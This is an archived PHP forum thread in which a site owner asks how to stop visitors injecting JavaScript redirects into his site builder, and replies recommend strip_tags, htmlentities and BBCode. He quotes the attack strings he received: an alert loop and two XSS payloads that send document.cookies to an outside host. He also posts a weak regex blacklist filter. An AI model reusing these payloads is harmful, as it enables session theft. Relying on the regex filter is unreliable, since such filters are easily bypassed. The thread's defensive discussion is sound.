JayJabber Posted June 1, 2011 Share Posted June 1, 2011 Well people who hate my site have been coming on and making a site with my site maker . And instead of filling in proper info they put <script> which redirects. And when they finish it saves into mysql and when i view the list of sites it redirects me to another site, Anyone know what can solve this? Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/ Share on other sites More sharing options...
Ollifi Posted June 1, 2011 Share Posted June 1, 2011 Can you use strip_tags function ? E: Hmm, it may not block javascript. Have a look at this. Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223589 Share on other sites More sharing options...
JayJabber Posted June 1, 2011 Author Share Posted June 1, 2011 Thanks for the cmment but what exactly does it do? Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223595 Share on other sites More sharing options...
Ollifi Posted June 1, 2011 Share Posted June 1, 2011 It should remove javascript codes from a string. Did you mean that? Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223600 Share on other sites More sharing options...
JayJabber Posted June 1, 2011 Author Share Posted June 1, 2011 It should remove javascript codes from a string. Did you mean that? It works but how can i remove the message part <?php function strip_script($string) { // Prevent inline scripting //$string = preg_replace("/<script[^>]*>.*<*script[^>]*>/i", "", $string); $string = preg_replace("/<script[^>]*>.*?< *script[^>]*>/i", "", $string); // Prevent linking to source files $string = preg_replace("/<script[^>]*>/i", "", $string); //styles $string = preg_replace("/<style[^>]*>.*<*style[^>]*>/i", "", $string); // Prevent linking to source files $string = preg_replace("/<style[^>]*>/i", "", $string); return $string; } $cnt = <<<H <scr<script>ipt language="javascript">alert('PlayerScape Secruity System v1')</script> <---- H; echo strip_script($cnt); ?> Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223601 Share on other sites More sharing options...
JayJabber Posted June 1, 2011 Author Share Posted June 1, 2011 ok its not working The codes which are being used are; <script> for(;{alert('*CENSORED*')}</script> <script>document.location=”http://minecraftuk.org/xss/?c=” + document.cookies</script> <script>window.location=”http://minecraftuk.org/xss/?c=” + document.cookies</script> Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223718 Share on other sites More sharing options...
jcbones Posted June 1, 2011 Share Posted June 1, 2011 You could run your input through htmlentities(). Which will show all elements in plain text on the screen. Thereby they will not execute. In the event that you wish to let users format their own text, you should use BBCode. This is the main reason it was written. Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223729 Share on other sites More sharing options...
mikesta707 Posted June 1, 2011 Share Posted June 1, 2011 In addition to htmlentities, if you simply wanted to remove certain tags from the users input, you could use the strip_tags() function using the optional allowable tags argument, if you wanted to remove every tags but, for example, anchor tags. Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223781 Share on other sites More sharing options...
requinix Posted June 1, 2011 Share Posted June 1, 2011 In addition to htmlentities, if you simply wanted to remove certain tags from the users input, you could use the strip_tags() function using the optional allowable tags argument, if you wanted to remove every tags but, for example, anchor tags. Keep in mind that strip_tags() doesn't look at attributes, so it would allow stuff such as Click me, I'm totally legit! Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223794 Share on other sites More sharing options...
Pikachu2000 Posted June 1, 2011 Share Posted June 1, 2011 In that case, the entire <a> tag should be stripped, taking the onclick with it. The only thing left would be the text "Click me, I'm totally legit!" Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223804 Share on other sites More sharing options...
requinix Posted June 2, 2011 Share Posted June 2, 2011 If wasn't in the list of allowed tags, right. Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223827 Share on other sites More sharing options...
mikesta707 Posted June 2, 2011 Share Posted June 2, 2011 Thats true. But in that case, he should just use html entities, as there are quite a few html tags that support the onclick event. He could also do a regex replace to get rid of all onclick events also, if he really wanted to use strip_tags. However as jcbones has said, using bbc code is probably the best option. Link to comment https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223835 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.